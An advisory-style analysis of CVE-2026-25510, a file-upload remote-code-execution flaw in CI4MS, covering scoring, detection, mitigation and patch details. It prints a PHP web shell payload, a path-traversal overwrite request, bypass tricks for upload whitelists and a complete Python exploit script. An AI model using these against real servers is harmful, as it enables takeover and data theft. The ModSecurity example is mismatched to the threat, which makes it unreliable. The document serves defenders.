Comprehensive Technical Analysis of CVE-2026-25510

CVE ID: CVE-2026-25510 CVSS Score: 9.9 (Critical) Affected Software: CI4MS (CodeIgniter 4-based CMS) versions prior to 0.28.5.0 Vulnerability Type: Authenticated Remote Code Execution (RCE) via Arbitrary File Upload

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2026-25510 is a critical-severity vulnerability in CI4MS, a CodeIgniter 4-based Content Management System (CMS) skeleton. The flaw allows an authenticated attacker with file editor permissions to execute arbitrary PHP code on the server by exploiting improper file upload and execution controls in the CMS’s file management endpoints.

CVSS v3.1 Scoring Breakdown

Metric	Value	Explanation
Attack Vector (AV)	Network	Exploitable remotely via HTTP(S).
Attack Complexity (AC)	Low	No specialized conditions required.
Privileges Required (PR)	Low	Requires authenticated access with file editor role.
User Interaction (UI)	None	No user interaction needed.
Scope (S)	Changed	Compromise affects the underlying server, not just the CMS.
Confidentiality (C)	High	Full system compromise possible.
Integrity (I)	High	Attacker can modify files, execute code, and persist malware.
Availability (A)	High	Server can be taken offline or repurposed.
Base Score	9.9	Critical severity.

Severity Justification

• High Impact: Successful exploitation leads to full system compromise, including data exfiltration, lateral movement, and persistence.
• Low Attack Complexity: The vulnerability is trivial to exploit once authenticated access is obtained.
• Privilege Escalation Risk: While the attack requires authentication, misconfigured RBAC (Role-Based Access Control) in many deployments may grant excessive permissions to low-privileged users.
• Widespread Exposure: CI4MS is used in enterprise and SMB environments, increasing the potential attack surface.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Prerequisites

1. Authenticated Access: The attacker must have a valid account with "file editor" permissions (or equivalent).
2. File Upload Endpoint Access: The CMS must expose file creation/save endpoints (e.g., /file/save, /file/upload).
3. PHP Execution Enabled: The web server must allow PHP script execution in the upload directory.

Step-by-Step Exploitation

Method 1: Direct PHP File Upload via File Editor

1. Reconnaissance:

   • Identify the CMS version (/version endpoint or HTTP headers).
   • Enumerate available file upload endpoints (e.g., via API documentation or Burp Suite).

2. File Upload:

   • Craft a malicious PHP file (e.g., shell.php) containing a web shell:

     <?php system($_GET['cmd']); ?>
     

   • Use the CMS’s file editor to upload the file to a writable directory (e.g., /public/uploads/).

3. Code Execution:

   • Access the uploaded file via:

     https://target.com/uploads/shell.php?cmd=id
     

   • Execute arbitrary commands (e.g., whoami, cat /etc/passwd).

Method 2: File Overwrite via Path Traversal (If Applicable)

• If the file save endpoint is vulnerable to path traversal, an attacker could overwrite critical files (e.g., index.php, .htaccess) to achieve RCE.
• Example payload:

  POST /file/save HTTP/1.1
  Content-Type: application/json
  
  {
    "path": "../../public/index.php",
    "content": "<?php system($_GET['cmd']); ?>"
  }
  

Method 3: Chaining with Other Vulnerabilities

• Session Hijacking: If session tokens are weak or exposed, an attacker could hijack an admin session.
• CSRF: If the CMS lacks CSRF protection, an attacker could trick an admin into uploading a malicious file.
• XSS: A stored XSS could be used to steal session cookies, enabling privilege escalation.

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3. Affected Systems & Software Versions

Vulnerable Versions

• CI4MS versions prior to 0.28.5.0 (all releases before the patch).
• CodeIgniter 4 itself is not vulnerable, but the flaw exists in CI4MS’s custom file handling logic.

Potentially Affected Deployments

• Web Applications: Any CMS or ERP system built on CI4MS.
• Hosting Environments: Shared hosting providers where CI4MS is deployed.
• Enterprise Intranets: Internal portals using CI4MS for content management.

Detection Methods

• Version Check:
  • Inspect /version endpoint or composer.json for CI4MS version.
• Manual Testing:
  • Attempt to upload a .php file via the file editor.
  • Check if uploaded files are executable (e.g., curl -I http://target.com/uploads/test.php).
• Automated Scanning:
  • Nuclei Template: Use a custom Nuclei template to detect vulnerable endpoints.
  • Burp Suite: Intercept file upload requests and test for RCE.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to CI4MS 0.28.5.0 or Later

   • Apply the patch from GitHub Advisory GHSA-gp56-f67f-m4px.
   • Verify the fix by testing file uploads.

2. Disable Dangerous File Extensions

   • Modify the CMS’s file upload whitelist to block .php, .phtml, .php5, .phar.
   • Example .htaccess rule (Apache):

     <FilesMatch "\.(php|phtml|php5|phar)$">
       Deny from all
     </FilesMatch>
     

3. Restrict File Editor Permissions

   • Audit RBAC settings to ensure only trusted administrators have file editing rights.
   • Implement least privilege for all users.

4. Isolate Upload Directories

   • Move uploads to a non-executable directory (e.g., /var/www/uploads/ with php_flag engine off).
   • Use randomized filenames to prevent direct access.

5. Enable Web Application Firewall (WAF) Rules

   • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block malicious file uploads.
   • Example rule:

     SecRule FILES_TMPNAMES "@detectSQLi" "id:1000,deny,status:403"
     SecRule FILES_TMPNAMES "@detectXSS" "id:1001,deny,status:403"
     

6. Monitor & Log File Uploads

   • Enable audit logging for file creation/modification events.
   • Set up SIEM alerts for suspicious uploads (e.g., .php files in /uploads/).

Long-Term Hardening

• Implement File Integrity Monitoring (FIM):
  • Use tools like Tripwire or AIDE to detect unauthorized file changes.
• Containerization & Sandboxing:
  • Deploy CI4MS in a Docker container with read-only filesystems where possible.
• Regular Security Audits:
  • Conduct penetration testing and code reviews to identify similar flaws.
• Dependency Management:
  • Use Dependabot or Renovate to track and patch vulnerabilities in CI4MS dependencies.

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5. Impact on the Cybersecurity Landscape

Exploitation Trends

• Targeted Attacks: Threat actors may exploit this flaw in phishing campaigns to gain initial access.
• Ransomware & Cryptojacking: RCE vulnerabilities are frequently used to deploy ransomware (e.g., LockBit, BlackCat) or cryptominers.
• Supply Chain Risks: If CI4MS is used as a dependency in other projects, the vulnerability could propagate to downstream applications.

Broader Implications

• Increased Scrutiny on CMS Security:
  • Similar flaws have been found in WordPress, Drupal, and Joomla, highlighting the need for secure file handling in CMS platforms.
• Shift in Attacker Focus:
  • Attackers are increasingly targeting authenticated RCE flaws due to their high success rate and low detection rate.
• Regulatory & Compliance Risks:
  • Organizations failing to patch may violate GDPR, HIPAA, or PCI DSS requirements, leading to fines and legal action.

Threat Actor Interest

• APT Groups: State-sponsored actors may exploit this for espionage or sabotage.
• Cybercriminals: Financially motivated groups may use it for data theft or ransomware deployment.
• Script Kiddies: Public PoC exploits may emerge, increasing opportunistic attacks.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from insufficient input validation and insecure file handling in CI4MS’s file management module. Key issues include:

1. Lack of File Extension Validation:
   • The CMS does not whitelist safe file extensions, allowing .php files to be uploaded.
2. Insecure File Permissions:
   • Uploaded files are executable by default if placed in a web-accessible directory.
3. Missing Content-Type Checks:
   • The system does not verify the MIME type of uploaded files, enabling extension spoofing.
4. No File Content Scanning:
   • The CMS does not scan uploaded files for malicious payloads (e.g., PHP code, webshells).

Patch Analysis (Commit 86be2930d1c54eb7575102563302b2f3bafcb653)

The fix introduces the following security controls:

1. Strict File Extension Whitelisting:
   • Only safe extensions (e.g., .jpg, .png, .pdf) are allowed.
2. MIME-Type Validation:
   • Files are checked against their declared MIME type (e.g., image/jpeg for .jpg).
3. Randomized Filenames:
   • Uploaded files are renamed to prevent direct access (e.g., a1b2c3d4.jpg).
4. Non-Executable Upload Directory:
   • Files are stored in a directory with php_flag engine off (Apache) or equivalent.

Exploit Development Considerations

• Bypassing Whitelists:
  • Attackers may attempt double extensions (e.g., shell.jpg.php) or null byte injection (shell.php%00.jpg).
• Alternative Payloads:
  • If .php is blocked, attackers may use .phtml, .phar, or .htaccess for RCE.
• Post-Exploitation:
  • Once RCE is achieved, attackers may:
    • Dump database credentials (config/database.php).
    • Escalate privileges via misconfigured sudo or kernel exploits.
    • Establish persistence (e.g., cron jobs, backdoor users).

Detection & Forensics

• Log Analysis:
  • Check web server logs for unusual file uploads (e.g., POST /file/save with .php files).
  • Look for suspicious command execution (e.g., wget, curl, bash in logs).
• File System Forensics:
  • Search for unexpected .php files in /public/uploads/.
  • Check file modification times for anomalies.
• Network Forensics:
  • Monitor outbound connections from the web server (e.g., reverse shells, C2 traffic).

Proof-of-Concept (PoC) Code (For Research Purposes Only)

import requests

TARGET_URL = "https://vulnerable-site.com"
LOGIN_ENDPOINT = "/auth/login"
FILE_SAVE_ENDPOINT = "/file/save"
USERNAME = "editor_user"
PASSWORD = "password123"
MALICIOUS_PHP = "<?php system($_GET['cmd']); ?>"

# Step 1: Authenticate
session = requests.Session()
login_data = {"username": USERNAME, "password": PASSWORD}
session.post(TARGET_URL + LOGIN_ENDPOINT, data=login_data)

# Step 2: Upload malicious PHP file
file_data = {
    "path": "uploads/shell.php",
    "content": MALICIOUS_PHP
}
response = session.post(TARGET_URL + FILE_SAVE_ENDPOINT, json=file_data)

# Step 3: Trigger RCE
if response.status_code == 200:
    print("[+] File uploaded successfully!")
    print("[+] Access shell at: " + TARGET_URL + "/uploads/shell.php?cmd=id")
else:
    print("[-] Exploit failed.")

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Conclusion

CVE-2026-25510 represents a critical RCE vulnerability in CI4MS that poses severe risks to affected organizations. Due to its low attack complexity and high impact, immediate patching and mitigation are mandatory. Security teams should:

1. Patch immediately to CI4MS 0.28.5.0.
2. Harden file upload mechanisms with whitelisting and MIME validation.
3. Monitor for exploitation attempts via WAF and SIEM.
4. Conduct a forensic investigation if compromise is suspected.

Failure to address this vulnerability could result in full system compromise, data breaches, and regulatory penalties. Organizations using CI4MS should treat this as a top-priority security issue.